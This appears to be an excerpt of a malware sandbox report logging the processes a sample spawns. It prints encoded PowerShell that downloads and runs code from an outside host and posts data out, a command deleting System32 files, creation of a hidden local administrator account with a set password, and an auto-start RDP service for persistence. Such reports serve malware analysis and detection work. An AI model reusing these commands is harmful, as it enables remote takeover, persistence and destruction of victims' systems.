"UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B00.tmp" "c:\Users\user\AppData\Local\Temp\n4r2ytua\CSCE2E75555A6E54FAF964F39C1B149FD24.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
